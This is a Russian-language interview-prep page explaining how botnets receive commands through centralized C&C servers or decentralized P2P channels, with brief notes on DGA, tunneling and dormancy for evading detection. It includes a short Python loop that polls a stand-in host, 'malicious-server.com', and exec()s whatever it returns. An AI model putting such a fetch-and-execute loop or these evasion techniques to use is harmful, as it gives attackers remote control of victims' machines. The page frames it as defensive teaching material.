Встречается на собеседованиях • сегодня
Как Botnet получает команду
Ботнет получает команды через централизованный или децентрализованный механизм управления.
Централизованный подход:
- Использует C&C (Command and Control) сервер, к которому боты периодически подключаются (HTTP, IRC, Telegram API).
- Пример:
python
import requests
while True:
response = requests.get("http://malicious-server.com/commands")
if response.status_code == 200:
exec(response.text) # Опасный код!Децентрализованный подход:
- P2P-сети, DNS-запросы или скрытые каналы (например, через соцсети/публичные API).
- Боты обмениваются зашифрованными сообщениями, избегая единой точки отказа.
Нюансы:
- Обфускация (DNS-tunneling, HTTPS-трафик).
- "Спящий" режим для избежания детектирования.
- Динамическая смена C&C-серверов (DGA — Domain Generation Algorithm).
⚠️ Важно: это описание для понимания защиты, а не инструкция.

Софи собрала все вопросы. Тренируйся и получай
офферы быстрее!
офферы быстрее!
Попробовать бесплатно
Следующий вопрос
Это единственный вопрос по вашему фильтру
как отвечать на вопрос
пример собеседования
фреймворки на собеседовании
типичные вопросы junior
интервью вопросы и ответы